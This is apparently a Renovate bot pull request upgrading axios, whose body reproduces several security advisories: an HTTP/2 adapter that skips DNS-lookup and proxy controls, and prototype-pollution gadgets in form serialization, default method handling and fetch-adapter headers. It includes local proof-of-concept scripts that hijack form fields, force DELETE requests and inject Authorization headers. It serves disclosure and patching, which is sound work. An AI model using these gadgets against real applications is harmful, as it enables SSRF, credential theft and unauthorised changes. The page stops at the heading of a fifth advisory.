Skip to content

chore(deps): update dependency axios@>=1.0.0 <1.13.5 to v1.20.0 [security] - #6435

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-axios-=1.0.0-1.13.5-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-axios-=1.0.0-1.13.5-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 25, 2026

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
axios@>=1.0.0 <1.13.5 (source) [1.18.0 → 1.20.0](https://renovatebot.com/diffs/npm/axios@>=1.0.0 <1.13.5/1.18.0/1.20.0) age confidence

Axios: HTTP/2 adapter bypasses configured DNS lookup and proxy controls

CVE-2026-101898 / GHSA-3pq3-5fj3-cg6v

More information

Details

Summary

Axios for Node.js does not apply configured DNS lookup or proxy controls when a request uses httpVersion: 2. The HTTP/1 adapter path wraps and forwards config.lookup, builds normal request options, and applies proxy routing through setProxy(). The HTTP/2 path builds a session with http2.connect() using only options.http2Options, which drops the top-level lookup, agent, and proxy state.

Applications are affected when they allow a user to influence request destinations, enable axios HTTP/2, and rely on axios lookup or proxy routing to prevent SSRF or enforce outbound network policy.

Impact

In affected server-side deployments, an attacker can cause axios to connect directly to destinations that the configured resolver or proxy would have rejected. Depending on reachable services, this can expose cloud metadata, internal service responses, or allow state-changing requests to internal systems.

This is not an unconditional SSRF in every axios deployment. It requires httpVersion: 2 and an application-level trust boundary where user-influenced URLs are constrained by lookup or proxy policy.

Affected Functionality

Affected:

  • Node.js HTTP adapter with httpVersion: 2.
  • config.lookup supplied as a DNS policy.
  • Explicit config.proxy and environment-derived proxy settings for HTTPS HTTP/2 requests.

Not affected:

  • Browser adapters.
  • Node HTTP/1 requests, which pass lookup to the transport and apply proxy handling.
  • Applications that validate destination hosts independently before calling axios.
Technical Details

In lib/adapters/http.js, the adapter reads lookup, wraps it, stores it on the request options, and applies setProxy() before selecting a transport. For HTTP/2, http2Transport.request() builds an authority from options.protocol, options.hostname, and options.port, then calls:

const { http2Options, headers } = options;
const session = http2Sessions.getSession(authority, http2Options);

lib/helpers/Http2Sessions.js ultimately calls http2.connect(authority, options) with only the http2Options object. The configured DNS lookup and the proxy or tunneling agent installed on the top-level request options are not forwarded into that call.

Local verification on axios 1.18.1 showed lookupCalls: 0 while an HTTP/2 request to a local h2 origin succeeded. A second local HTTPS h2 verification with an explicit rejecting HTTP proxy showed the origin received the request and the proxy observed no traffic.

Proof of Concept of Attack

Local constrained demonstration:

  1. Start an HTTP/2 server on loopback.
  2. Call axios.get("http://localhost:<port>/internal", { httpVersion: 2, lookup }) where lookup throws EPOLICY.
  3. Observe that the request succeeds and the lookup counter remains 0.

For proxy routing:

  1. Start an HTTPS HTTP/2 origin and a local HTTP proxy that rejects every request and CONNECT.
  2. Call axios with httpVersion: 2, http2Options: { rejectUnauthorized: false }, and explicit proxy.
  3. Observe that the origin receives the request and the proxy receives nothing.

Expected safe behavior is that either the lookup policy blocks the request or the proxy observes and rejects the request.

Workarounds

Use the HTTP/1 adapter path for requests that depend on axios lookup or proxy controls. Alternatively, enforce destination allow/deny policy before calling axios, outside the adapter transport path.

Original report

Summary

I found that Axios does not apply the configured lookup function or proxy when a request uses httpVersion: 2. The HTTP/1 adapter applies both controls, but the HTTP/2 path connects straight to the URL's hostname using http2.connect().

This matters for server applications that accept a user-influenced URL and use a custom DNS lookup or mandatory outbound proxy to prevent SSRF. Switching the Axios instance to HTTP/2 silently removes those controls, allowing the request to reach an address the application intended to block.

I reproduced this on the current npm release, Axios 1.18.1.

Details

The HTTP adapter reads and wraps the caller's lookup function, builds the normal request options, and calls setProxy():

  • lib/adapters/http.js, around lines 530-578: reads and wraps lookup
  • lib/adapters/http.js, around lines 895-954: adds lookup to options and applies setProxy()

For HTTP/2, however, the adapter selects http2Transport. That transport creates an authority from the destination and only passes options.http2Options to the session pool:

const { http2Options, headers } = options;
const session = http2Sessions.getSession(authority, http2Options);

lib/helpers/Http2Sessions.js then calls:

const session = http2.connect(authority, options);

At this point options is only the http2Options object. The top-level lookup, the proxy tunnelling agent created by setProxy(), and the selected httpAgent/httpsAgent are not forwarded. The request therefore uses the system resolver and opens a direct connection to the origin.

The same root cause affects both explicit proxy configuration and environment-derived proxy configuration. I kept the PoC local and used an explicit proxy so the result does not depend on shell environment variables.

PoC

I attached axios_http2_transport_controls_poc.mjs. The PoC is entirely local and sets up three pieces:

  1. An HTTPS origin with HTTP/2 enabled. If reached, it records the request and returns REACHED_BLOCKED_ORIGIN.
  2. An HTTP proxy that records traffic but rejects every normal request and every CONNECT request with 502 Bad Gateway.
  3. A custom Axios lookup callback that rejects every DNS lookup with an EPOLICY error.

The first request is an HTTP/1 control request. It uses the blocking lookup callback and has proxying disabled. Axios calls the callback, receives EPOLICY, and does not reach the origin. This confirms that the callback works and that the hostname is blocked through the normal adapter path.

The second request targets the same URL with httpVersion: 2. It is given both security controls: the same blocking lookup callback and the rejecting proxy. If Axios honors either one, this request cannot reach the origin. It should fail with EPOLICY, or it should reach the proxy and receive its 502 response.

Instead, the request returns HTTP 200 with REACHED_BLOCKED_ORIGIN. The lookup counter does not increase, and the proxy records no request or CONNECT attempt. The origin is the only server that records traffic. This shows that the HTTP/2 path skipped both controls and connected directly using the system resolver.

To reproduce, run the attachment from the root of an Axios checkout:

Run it from the root of an Axios checkout:

git checkout v1.18.1
npm install --ignore-scripts
node /path/to/axios_http2_transport_controls_poc.mjs

Relevant output from my run:

{
  "axiosVersion": "1.18.1",
  "configuredControls": {
    "lookup": "reject every DNS lookup with EPOLICY",
    "proxy": "http://127.0.0.1:<port> (reject every request)"
  },
  "http1Control": "EPOLICY: blocked by application DNS policy",
  "http2Result": {
    "status": 200,
    "data": "REACHED_BLOCKED_ORIGIN"
  },
  "lookupCalls": 1,
  "proxyObservedTraffic": false,
  "events": [
    {
      "server": "origin",
      "protocol": "h2",
      "path": "/internal"
    }
  ]
}

The important parts of the output are:

  • http1Control contains EPOLICY, proving the DNS policy blocks the destination under HTTP/1.
  • lookupCalls is still 1 after both requests, proving HTTP/2 never called the configured resolver.
  • proxyObservedTraffic is false, proving HTTP/2 did not use the configured proxy.
  • http2Result.status is 200, and the sole event belongs to the origin, proving Axios connected directly to the blocked destination.
Impact

The vulnerable configuration is a Node.js application that:

  • enables Axios HTTP/2 using httpVersion: 2;
  • lets an application user influence the request destination; and
  • relies on Axios's lookup option or proxy routing to enforce a destination or egress policy.

In that setup, an unauthenticated application user may be able to make the server connect directly to loopback, private-network, or link-local services that the lookup policy or proxy would have rejected. Depending on the reachable service, this can expose cloud credentials or internal data, modify internal services, or affect availability.

HTTP/2 support is marked experimental, but neither the HTTP/2 documentation nor the proxy documentation says that lookup and proxy controls are ignored. The proxy documentation states that HTTPS requests are sent through a CONNECT tunnel. More importantly, Axios's threat model tells callers that destination validation is their responsibility; this behavior silently bypasses such caller-supplied validation.

I did not test against any third-party or production service. The PoC only uses listeners on my own machine.


Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Prototype Pollution Gadget in axios toFormData Options

CVE-2026-101909 / GHSA-x97p-jq2g-jp4f

More information

Details

Summary

Axios form serialization reads visitor, maxDepth, dots, indexes, metaTokens, and Blob from an internal options object without own-property guards. When Object.prototype has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.

Axios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.

Impact

The impact depends on which property is polluted and which axios serialization path the application uses.

Polluted dots, indexes, or metaTokens can change field names and cause the receiving service to parse different data than the caller intended. Polluted maxDepth can cause nested form submissions to throw ERR_FORM_DATA_DEPTH_EXCEEDED, producing request-level or service-level denial of service for affected workflows. Polluted visitor can execute as the serializer visitor if an attacker can place a function on Object.prototype, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.

Affected Functionality

Affected:

  • axios.toFormData().
  • transformRequest paths that serialize plain objects to multipart/form-data.
  • URL-encoded form serialization paths that rely on the same helper.
  • formSerializer option defaults when the relevant properties are absent as own properties.

Not affected:

  • JSON request bodies.
  • Requests that do not invoke toFormData().
  • Processes where Object.prototype is not polluted.
Technical Details

lib/helpers/toFormData.js merges caller options with defaults using utils.toFlatObject(). When options is undefined, toFlatObject() returns the default object unchanged:

{
  metaTokens: true,
  dots: false,
  indexes: false
}

That default object has Object.prototype in its prototype chain. toFormData() then reads behavior-affecting values directly:

const metaTokens = options.metaTokens;
const visitor = options.visitor || defaultVisitor;
const dots = options.dots;
const indexes = options.indexes;
const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob);
const maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;

These reads can resolve inherited polluted properties.

Local code review confirmed the direct reads in v1.18.1. Tag checks show the option-based form serializer exists in v0.28.0 and later; maxDepth appears in the 1.x line from the form recursion fix.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.maxDepth = 1;

await axios.post(url, { a: { b: { c: 'value' } } }, {
  headers: { 'Content-Type': 'multipart/form-data' }
});

Expected safe behavior is that the default max depth is used unless the caller sets an own formSerializer.maxDepth. Current behavior reads the inherited value and can throw ERR_FORM_DATA_DEPTH_EXCEEDED.

For serializer alteration, polluting Object.prototype.dots = true changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.

Workarounds

Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own formSerializer object that sets explicit safe values for all relevant keys, including visitor, maxDepth, dots, indexes, metaTokens, and Blob.

Original report

Summary

axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (visitor, maxDepth, dots, indexes, metaTokens, Blob) are read from a plain JavaScript object that inherits from Object.prototype without hasOwnProperty guards. When Object.prototype has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior.

The highest-impact gadget is visitor: a polluted function on Object.prototype.visitor is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments.

Details
Root Cause

The attack chain has three steps:
Step 1: formSerializer is read safely, but undefined flows through
In lib/defaults/index.js, the default transformRequest function reads formSerializer from config using the own() helper, which enforces hasOwnProp:

const formSerializer = own(this, 'formSerializer');

When the user does not explicitly configure formSerializer, this correctly returns undefined. That undefined is then passed as the options parameter to toFormData():

return toFormData(data, _FormData && new _FormData(), formSerializer);
//                                                     ^^^^^^^^^^^^ undefined

Step 2: toFlatObject returns a plain-object default
Inside lib/helpers/toFormData.js, options (which is undefined) is merged with defaults via utils.toFlatObject():

options = utils.toFlatObject(
    options,                                    // undefined
    { metaTokens: true, dots: false, indexes: false },  // plain object literal
    false,
    function defined(option, source) {
        return !utils.isUndefined(source[option]);
    }
);

toFlatObject has an early-return for null/undefined sources:

// lib/utils.js:607
if (sourceObj == null) return destObj;

Since options is undefined, the function returns destObj unchanged — the plain object { metaTokens: true, dots: false, indexes: false }. This object's prototype is Object.prototype.

Step 3: Options are read without hasOwnProp guards
The six option properties are read directly from the plain object:

const metaTokens = options.metaTokens;                                          // line 117
const visitor    = options.visitor || defaultVisitor;                            // line 119
const dots       = options.dots;                                                // line 120
const indexes    = options.indexes;                                             // line 121
const _Blob      = options.Blob || (typeof Blob !== 'undefined' && Blob);       // line 122
const maxDepth   = options.maxDepth === undefined                                // line 123
                     ? DEFAULT_FORM_DATA_MAX_DEPTH
                     : options.maxDepth;

None of these reads use utils.hasOwnProp(). Since the options object inherits from Object.prototype, any property set on Object.prototype by a compromised dependency is resolved through the prototype chain.

Why the Existing Defenses Didn't Catch This

axios has extensive prototype pollution defenses. However, those defenses are all focused on the config object (created by mergeConfig, which returns Object.create(null)). The toFormData function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited.

PoC
Reproduction Steps
Environment

Any environment with Node.js and npm. Tested on:
- Node.js v24.15.0, npm 11.13.0
- axios v1.18.1 (latest release at time of writing)

Step 1: Create a fresh project
mkdir axios-pp-poc
cd axios-pp-poc
npm init -y
npm install axios@1.18.1
Step 2: Create the PoC file

Create poc.mjs with the following content:

import axios from 'axios';
import http from 'http';

// Simulate pollution from a compromised transitive dependency
let stolen = [];
Object.prototype.visitor = function(value, key, path, helpers) {
    stolen.push({ key, value });
    return helpers.defaultVisitor.call(this, value, key, path);
};
Object.prototype.maxDepth = 2;

const server = http.createServer((req, res) => {
    res.writeHead(200);
    res.end('{}');
});

server.listen(0, '127.0.0.1', async () => {
    const { port } = server.address();
    try {
        // Exfiltration: visitor intercepts all form fields
        await axios.post(`http://127.0.0.1:${port}/`, {
            username: 'john',
            password: 'SuperSecret123!',
            profile: { ssn: '123-45-6789' }
        }, { headers: { 'Content-Type': 'multipart/form-data' } });

        console.log('Stolen:', stolen);
        // Stolen: [
        //   { key: 'username', value: 'john' },
        //   { key: 'password', value: 'SuperSecret123!' },
        //   { key: 'profile',  value: { ssn: '123-45-6789' } },
        //   { key: 'ssn',      value: '123-45-6789' }
        // ]

        // DoS: nested object rejected by polluted maxDepth
        await axios.post(`http://127.0.0.1:${port}/`,
            { a: { b: { c: { d: 'value' } } } },
            { headers: { 'Content-Type': 'multipart/form-data' } }
        );
        // Throws: ERR_FORM_DATA_DEPTH_EXCEEDED
        //   "Object is too deeply nested (3 levels). Max depth: 2"
    } finally {
        delete Object.prototype.visitor;
        delete Object.prototype.maxDepth;
        server.close();
    }
});
Step 3: Run the PoC
node poc.mjs
Impact
1. Data Exfiltration via visitor (Confidentiality: High)

A polluted Object.prototype.visitor function is called as the form data visitor:

visitor.call(formData, el, key, path, exposedHelpers)

The attacker receives:
- value — the raw value being serialized (passwords, tokens, PII, API keys)
- key — the field name
- path — the full path array (e.g., ['profile', 'address', 'street'])
- exposedHelpers — internal helpers including defaultVisitor, convertValue, isVisitable

By delegating to helpers.defaultVisitor, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server.

2. Denial of Service via maxDepth (Availability: Low)

A polluted Object.prototype.maxDepth of 1 or 2 causes any moderately nested form data request to throw ERR_FORM_DATA_DEPTH_EXCEEDED. Applications that send nested objects as form data (common with APIs that accept profile[name], address[city], etc.) will experience mysterious failures.

3. Data Corruption via dots, indexes, metaTokens (Integrity: Low)

Polluting these options changes the serialization format of form field names:
- dots: true — changes bracket notation (user[name]) to dot notation (user.name)
- indexes: true — changes array serialization (items[]) to indexed (items[0], items[1])
- metaTokens: false — changes obj{} keys to raw json strings

The server may misinterpret the submitted form data, leading to silent data corruption.


Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method

CVE-2026-101902 / GHSA-9fr6-4gfg-395g

More information

Details

Summary

Axios default-instance requests that omit an explicit method can read an inherited method value from Object.prototype. If another vulnerability in the same process pollutes Object.prototype.method, calls such as axios.request({ url }) and axios({ url }) can send a state-changing HTTP method instead of the expected default GET.

Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.

Impact

In an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit method from GET to methods such as DELETE, POST, PUT, or PATCH. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.

Method aliases such as axios.get(url) and requests with an explicit own method are not affected by the confirmed method path.

Affected Functionality

Affected:

  • Default axios instance calls: axios.request({ url }).
  • Callable shorthand: axios({ url }).
  • Requests where no own config.method is provided.

Not affected in the confirmed method PoC:

  • axios.get(url) and other method aliases.
  • axios.request({ url, method: 'GET' }).
  • axios.create().request({ url }) when the created instance defaults are produced by current mergeConfig() and do not inherit from Object.prototype.
Technical Details

lib/core/Axios.js sets the request method with:

config.method = (config.method || this.defaults.method || 'get').toLowerCase();

mergeConfig() now returns a null-prototype request config, so config.method is safe from Object.prototype. However, the default axios instance stores the module defaults object as this.defaults, and that defaults object is a normal object. If Object.prototype.method exists, this.defaults.method resolves to the polluted inherited value.

Local verification on axios 1.18.1 showed a default-instance axios.request({ url }) request reaching a loopback server as DELETE after Object.prototype.method = 'DELETE'.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.method = 'DELETE';
try {
  await axios.request({ url: 'http://127.0.0.1:<port>/resource' });
} finally {
  delete Object.prototype.method;
}

Expected safe behavior is a GET request. Current affected behavior sends DELETE on the default instance when no method is provided.

Workarounds

Use explicit method aliases such as axios.get() or set an own method on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.

Original report

Summary

Axios 1.17.0 contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes Object.prototype.method, default-instance calls such as axios.request({ url }) and axios({ url }) can be forced to use an attacker-controlled HTTP method, such as DELETE, instead of the expected default GET.

Axios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from this.defaults without an own-property guard, allowing inherited values from Object.prototype to influence request behavior.

This should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to Object.prototype; Axios is the component that becomes dangerous after Object.prototype has already been polluted by another bug in the same process.

Details

The vulnerable fallback read is in lib/core/Axios.js:

// Set config.allowAbsoluteUrls
if (config.allowAbsoluteUrls !== undefined) {
  // do nothing
} else if (this.defaults.allowAbsoluteUrls !== undefined) {
  config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;
} else {
  config.allowAbsoluteUrls = true;
}

// Set config.method
config.method = (config.method || this.defaults.method || 'get').toLowerCase();

The merged request config is created as a null-prototype object in lib/core/mergeConfig.js:

const config = Object.create(null);

Therefore, when the caller does not provide config.method, the fallback becomes:

this.defaults.method

The default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from Object.prototype. If Object.prototype.method is polluted, this.defaults.method resolves to that inherited value and Axios uses it as the request method.

The same unsafe inherited-property pattern also affects this.defaults.allowAbsoluteUrls, which can change how absolute URLs are combined with baseURL.

Proof of Concept
Access and Attack Conditions

No admin access is required for Axios itself. This is a library-level gadget.

The attacker must have an existing way to pollute Object.prototype in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.

Required condition:

Some other bug or unsafe merge path in the application must allow Object.prototype pollution.

What Axios contributes:

Axios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.

What Axios does not do:

Axios does not create Object.prototype pollution by itself.

Affected usage:

axios.request({ url });
axios({ url });

Not affected in the confirmed PoC:

axios.get(url);
axios.request({ url, method: "GET" });
axios.create().request({ url });
Reproduction Steps
  1. Create a clean test directory and install Axios 1.17.0:
mkdir axios-validation
cd axios-validation
npm init -y
npm install axios@1.17.0 --no-audit --no-fund
  1. Save the method override PoC below as:
validate-prototype-method-gadget.mjs
  1. Run the PoC:
node validate-prototype-method-gadget.mjs
  1. Confirm that the output shows:
defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED
  1. This proves that after Object.prototype.method = "DELETE", default-instance calls that omit an explicit method are sent as DELETE.
What the Method PoC Script Does

The PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:

Object.prototype.method = "DELETE";

While that pollution is active, the script sends five Axios requests:

axios.request({ url });                 // expected vulnerable path
axios({ url });                         // expected vulnerable shorthand path
axios.get(url);                         // expected safe alias path
axios.request({ url, method: "GET" });  // expected safe explicit-method path
axios.create().request({ url });        // expected safe isolated-instance path

The script then deletes the polluted property:

delete Object.prototype.method;

Finally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends DELETE for axios.request({ url }) and axios({ url }), while the safe comparison paths still send GET.

Method Override PoC

Create validate-prototype-method-gadget.mjs:

import http from "node:http";
import axios from "axios";

async function listen(server) {
  await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
  return server.address().port;
}

async function runRequest(label, requestFn) {
  const hits = [];
  const server = http.createServer((req, res) => {
    hits.push({
      method: req.method,
      url: req.url,
    });
    res.writeHead(200, { "content-type": "application/json" });
    res.end(JSON.stringify({ ok: true }));
  });

  const port = await listen(server);
  const url = `http://127.0.0.1:${port}/${label}`;

  let status = "completed";
  let error = "";
  try {
    await requestFn(url);
  } catch (err) {
    status = "error";
    error = err?.message || String(err);
  }

  server.close();
  return { label, status, error, hits };
}

const results = [];

Object.prototype.method = "DELETE";
try {
  results.push(await runRequest("default-request-no-method", (url) => axios.request({ url })));
  results.push(await runRequest("default-shorthand-no-method", (url) => axios({ url })));
  results.push(await runRequest("default-get-alias", (url) => axios.get(url)));
  results.push(await runRequest("default-request-explicit-get", (url) => axios.request({ url, method: "GET" })));

  const instance = axios.create();
  results.push(await runRequest("created-instance-request-no-method", (url) => instance.request({ url })));
} finally {
  delete Object.prototype.method;
}

const defaultRequestMethod = results.find((r) => r.label === "default-request-no-method")?.hits[0]?.method || "";
const defaultShorthandMethod = results.find((r) => r.label === "default-shorthand-no-method")?.hits[0]?.method || "";
const getAliasMethod = results.find((r) => r.label === "default-get-alias")?.hits[0]?.method || "";
const explicitGetMethod = results.find((r) => r.label === "default-request-explicit-get")?.hits[0]?.method || "";
const createdInstanceMethod = results.find((r) => r.label === "created-instance-request-no-method")?.hits[0]?.method || "";

console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);
console.log(`defaultRequestMethod=${defaultRequestMethod}`);
console.log(`defaultShorthandMethod=${defaultShorthandMethod}`);
console.log(`getAliasMethod=${getAliasMethod}`);
console.log(`explicitGetMethod=${explicitGetMethod}`);
console.log(`createdInstanceMethod=${createdInstanceMethod}`);

const confirmed =
  defaultRequestMethod === "DELETE" &&
  defaultShorthandMethod === "DELETE" &&
  getAliasMethod === "GET" &&
  explicitGetMethod === "GET" &&
  createdInstanceMethod === "GET";

console.log(confirmed ? "RESULT: CONFIRMED" : "RESULT: NOT CONFIRMED");
process.exitCode = confirmed ? 0 : 1;

Run:

node validate-prototype-method-gadget.mjs

Observed result:

axiosVersion=1.17.0
defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED

The local server received:

axios.request({ url })              -> DELETE
axios({ url })                      -> DELETE
axios.get(url)                      -> GET
axios.request({ url, method:"GET" }) -> GET
axios.create().request({ url })     -> GET

This confirms that inherited Object.prototype.method controls the default method for vulnerable default-instance request paths.

Supporting allowAbsoluteUrls Gadget Evidence

The same inherited-property issue affects allowAbsoluteUrls.

Create validate-prototype-allowabsoluteurls-gadget.mjs:

import http from "node:http";
import axios from "axios";

async function listen(server) {
  await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
  return server.address().port;
}

async function runCase(label, requestFn) {
  const baseHits = [];
  const absoluteHits = [];

  const baseServer = http.createServer((req, res) => {
    baseHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
    res.end("base");
  });

  const absoluteServer = http.createServer((req, res) => {
    absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
    res.end("absolute");
  });

  const basePort = await listen(baseServer);
  const absolutePort = await listen(absoluteServer);

  try {
    await requestFn({
      baseURL: `http://127.0.0.1:${basePort}/api`,
      url: `http://127.0.0.1:${absolutePort}/absolute-path`,
    });
  } catch {}

  baseServer.close();
  absoluteServer.close();

  return { label, baseHits, absoluteHits };
}

const results = [];

results.push(await runCase("baseline-no-pollution", (config) => axios.request(config)));

Object.prototype.allowAbsoluteUrls = false;
try {
  results.push(await runCase("polluted-default-request", (config) => axios.request(config)));
  const instance = axios.create();
  results.push(await runCase("polluted-created-instance", (config) => instance.request(config)));
} finally {
  delete Object.prototype.allowAbsoluteUrls;
}

console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);

Observed result:

axiosVersion=1.17.0
baselineUsedAbsolute=true
pollutedDefaultUsedBase=true
pollutedInstanceUsedAbsolute=true
RESULT: CONFIRMED

Without pollution, Axios sends the request to the absolute URL. After Object.prototype.allowAbsoluteUrls = false, the default Axios instance combines the absolute URL with baseURL and sends the request to the base server instead. An instance created with axios.create() remains unaffected.

Impact

This is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on Object.prototype in the same Node.js process.

If such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:

  • axios.request({ url })
  • axios({ url })

This can turn an expected safe default GET request into a state-changing method such as:

  • DELETE
  • POST
  • PUT
  • PATCH

Potential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.

The issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as axios.get(), or isolated instances created through axios.create() are not affected by the confirmed method-override path.


Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Prototype pollution gadget in fetch adapter can alter outbound requests

CVE-2026-101908 / GHSA-vh66-26gq-q6x8

More information

Details

Summary

Axios fetch adapter requests can be altered by inherited properties on fetchOptions. The adapter resolves method, headers, body, signal, and credentials into resolvedOptions, creates a Request, and then calls fetch(request, fetchOptions) instead of fetch(request, resolvedOptions). In runtimes such as Node's undici-backed fetch, inherited fetchOptions.headers can override the headers already placed on the Request.

Axios does not create the prototype pollution source. This is a read-side gadget that becomes exploitable after same-process prototype pollution.

Impact

An attacker with a prior prototype-pollution primitive can cause affected fetch-adapter requests to send attacker-controlled headers and drop caller-specified headers. This can affect authorization, cache behavior, metadata-service interactions, or application-specific header-based controls.

The issue is specific to fetch-adapter behavior and does not affect Node HTTP adapter requests.

Affected Functionality

Affected:

  • adapter: 'fetch'.
  • Runtime environments where the fetch adapter is selected.
  • Requests where fetchOptions is an object that does not have safe own values for sensitive fetch init fields.

Not affected:

  • Node HTTP adapter.
  • Requests that do not use the fetch adapter.
  • Processes where Object.prototype is not polluted.
Technical Details

lib/adapters/fetch.js builds:

const resolvedOptions = {
  ...fetchOptions,
  signal: composedSignal,
  method: method.toUpperCase(),
  headers: toByteStringHeaderObject(headers.normalize()),
  body: data,
  duplex: 'half',
  credentials: isCredentialsSupported ? withCredentials : undefined,
};

request = isRequestSupported && new Request(url, resolvedOptions);

let response = await (isRequestSupported
  ? _fetch(request, fetchOptions)
  : _fetch(url, resolvedOptions));

The fallback path without Request uses resolvedOptions, but the Request path passes the original fetchOptions as the second argument to fetch(). That second argument can contain inherited properties from Object.prototype.

Local verification on axios 1.18.1 set Object.prototype.headers = { Authorization: 'Bearer POLLUTED' } and called the fetch adapter with headers: { 'X-Good': 'yes' }, fetchOptions: {}. The loopback server received Authorization: Bearer POLLUTED and did not receive X-Good.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.headers = { Authorization: 'Bearer POLLUTED' };
try {
  await axios.get(url, {
    adapter: 'fetch',
    headers: { 'X-Good': 'yes' },
    fetchOptions: {}
  });
} finally {
  delete Object.prototype.headers;
}

Expected safe behavior is that the sanitized axios headers remain in force. Current behavior can use the inherited fetch init headers instead.

Workarounds

Use the Node HTTP adapter for security-sensitive server-side requests until fixed. If the fetch adapter must be used, avoid passing empty fetchOptions objects in processes where prototype pollution is possible, and set explicit safe own values for fetch init fields.

Original report

Hello, I’m not completely sure if this is something you’d consider a security issue, since it depends on prototype pollution happening somewhere else first, but I wanted to report it just in case.

I was testing the fetch adapter with polluted prototype values and found that Object.prototype.headers can change the request axios sends.

The issue seems to be in lib/adapters/fetch.js. Axios creates a Request with the resolved headers/method/body, but then sends it with fetch(request, fetchOptions). With undici, if fetchOptions doesn’t have its own headers, an inherited Object.prototype.headers value can be used during the final fetch call.

I tested it with this:

import http from 'node:http';
import axios from 'axios';

const server = http.createServer((req, res) => {
  res.end(JSON.stringify({
    authorization: req.headers.authorization || null,
    xGood: req.headers['x-good'] || null
  }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
const { port } = server.address();

Object.prototype.headers = {
  Authorization: 'Bearer POLLUTED'
};

try {
  const res = await axios.get(`http://127.0.0.1:${port}/`, {
    adapter: 'fetch',
    headers: { 'X-Good': 'yes' },
    fetchOptions: {}
  });

  console.log(res.data);
} finally {
  delete Object.prototype.headers;
  server.close();
}

The result I get is:

{
  "authorization": "Bearer POLLUTED",
  "xGood": null
}

So the polluted Authorization header is sent, and the normal axios header is not.

Changing the fetch call to pass the already resolved options fixes it for me:

- _fetch(request, fetchOptions)
+ _fetch(request, resolvedOptions)

resolvedOptions already includes ...fetchOptions, so custom fetch options should still work, while headers, method, body, and signal stay as clean own values.


Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF

CVE-2026-101907 / GHSA-r4gj-5m52-g5wh

More information

Details

Summary

